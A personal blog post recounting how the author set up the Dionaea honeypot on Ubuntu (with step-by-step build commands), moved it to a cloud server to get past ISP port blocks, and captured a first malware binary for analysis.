A couple of things occur to me, one is that these might be files that take advantage of vulnerabilities in older versions of the software that I am running, so when I open them on my current test environments I’m not really seeing anything happen. Going forward I’m going to run much older versions of my applications to see if anything different happens. For instance, I just put Acrobat Reader 5.0 on one of my testing VMs and used that to open a recent attachment during examination (though nothing happened with this ancient version of Acrobat, either). Another explanation is that these might just be exactly what they appear to be — prettier versions of the same crap that fills my inbox on a daily basis, but not much more than that.

I think it’s OK to continue checking my email attachments for stuff to analyze, but I also recognize that I need better samples, ideally Windows executables which I’m more knowledgeable about than documents. I decided to try setting up a honeypot to see if I could get anything interesting. I ran into various roadblocks along the way before I got something up and running, but hopefully detailing what happened might help others avoid some of these issues.

The first thing I noticed is the somewhat fragmented state of the various open-source honeypots out there. Dionaea was the most recommended one from various sources, but the original site (http://dionaea.carnivore.it/) is out of service and most material I managed to find about the software was from several years ago. I tried another honeypot, Amun, but that seemed sort of defunct at this point also. The last update (from 2012) stated that it was still being maintained, but the documentation section had most of the links struck out so it was a bit hard to figure out exactly what to do with it.

I decided to use my testing machine as the host for the honeypot since it’s already running Ubuntu. I got Amun set up on it and got it running, but strangely there seemed to be very little activity (something on the order of 3-4 pieces of traffic over a 2-3 day period). This seemed VERY strange to me — I was thinking that there would likely be hundreds of scans per day at least. I tried various things to get things working better:
– Disabled firewall on the host
– I thought that maybe there was some issue with NAT or something else, so I added the host machine to the router’s DMZ
– Temporarily disabling all security features on the router and observing if there were any changes
– I tried connecting the host directly to the cable modem here, not going through the router at all

Finally after about five days, I ended up with six scans. Something just didn’t seem right.

I decided that I would have to give Dionaea a try. Installing using repositories didn’t work, so I had to find out everything I’d need to install manually and then install from source. I’d also need to find the source since the main site wasn’t around anymore.

This site had the best set of Dionaea docs I could find. You can also find some info about using Dionaea in Malware Analyst’s Cookbook in the second chapter (specifically, recipes 2-4 through 2-9). I installed Dionaea from PhiBo’s github repository, however I also mirrored it to my newly created one since I feel like the world could always use more copies of this lying around.

Here are the steps I followed, largely following the instructions from the readthedocs.io link above. For the benefit of anyone who doesn’t do this often (or maybe is doing this for the first time), I’m putting explicit directions on what commands to enter:

  1. Update packages:
    sudo apt-get update
    sudo apt-get dist-upgrade
  2. If you don’t already have it installed, install git:
    sudo apt-get install git
  3. Install all Dionaea dependencies (note the one in bold — if you try to install the original libnl-dev mentioned in the docs you’ll get an error about it not existing, but you can use libnl-3-dev instead):
    sudo apt-get install \
        autoconf \
        automake \
        build-essential \
        check \
        cython3 \
        libcurl4-openssl-dev \
        libemu-dev \
        libev-dev \
        libglib2.0-dev \
        libloudmouth1-dev \
        libnetfilter-queue-dev \
        libnl-3-dev \
        libpcap-dev \
        libssl-dev \
        libtool \
        libudns-dev \
        python3 \
        python3-dev \
        python3-yaml \
  4. Put the repository in /opt/dionaea (use either of the repositories above, as an example I’ll use the one I created):
    sudo git clone git://github.com/BYEMAN/dionaea.git /opt/dionaea
  5. Run the following commands:
    cd /opt/dionaea
    
    sudo autoreconf -vi
    
    sudo ./configure \
     --disable-werror \
     --prefix=/opt/dionaea \
     --with-python=/usr/bin/python3 \
     --with-cython-dir=/usr/bin \
     --with-ev-include=/usr/include \
     --with-ev-lib=/usr/lib \
     --with-emu-lib=/usr/lib/libemu \
     --with-emu-include=/usr/include \
     --with-nl-include=/usr/include \
     --with-nl-lib=/usr/lib
    
    sudo make
    
    sudo make install
  6. To start an instance of Dionaea, you can just run it as a super user but I typically run it as a daemon and put the PID in a file, as suggested in the Malware Analyst’s Cookbook
    sudo /opt/dionaea/bin/dionaea -p /opt/dionaea/var/dionaea.pid -D

    That should be all you need to do in order to get the software itself running. How it works for you once up and running is another topic.

Shortly after getting the honeypot running, I noticed LOTS of logging activity and within about 5 hours I observed 2700 scans had come in. Obviously much different than with Amun. Not sure why this happened, but I also didn’t look into it since I was just happy to have a honeypot up and running.

After a couple of days, I had collected lots of traffic and recorded many sessions but didn’t manage to collect any binaries, which is really what I’m after here. I did some reading online and I saw some suggestions that quite often any binaries come in over the ports for SMB (445) and MSMQ (1801 and others). Googling revealed that my ISP blocks these ports for residential customers (though not for business users), and checking with canyouseeme.org confirmed that my machine was unreachable through these ports. I needed to get something, somewhere that would allow me to run the honeypot without these restrictions.

Someone I know recommended getting something on Digital Ocean and setting up a honeypot there. I signed up with them and so far I have to tell you that I’m pretty thrilled with them. I got the cheapest “droplet” which comes to $5 a month, and set it up with Ubuntu 16.04 and the honeypot. You can confirm what ports are open on their systems with ping.eu, but I also emailed their support before I signed up and got the following response:

We do have a few restrictions, on UDP port 80 traffic, and SMTP over IPv6, both to prevent abuse and which cannot be lifted. Otherwise, we don’t any network restrictions, so as long as your software is compatible with the Linux or FreeBSD distributions that we offer, it should run just fine.

Another thing that I thought was nice about them is that you can locate your droplet in datacenters in various parts of the world. I picked one in NYC, but I’m thinking about getting some set up in other regions to see if I get different traffic there. If you want to sign up, use this link and you’ll get $10 in credit from Digital Ocean assuming you’re new to them.

I spent an evening getting my droplet set up and installing Dionaea, and then let it run overnight. At 0753 the next morning:

ls-l

And look how it begins:

mz

Nice.

Oh yeah, referring to the title — one of the first scans I received was from something identifying itself as “FRIENDLY-SCANNER”. Seems legit.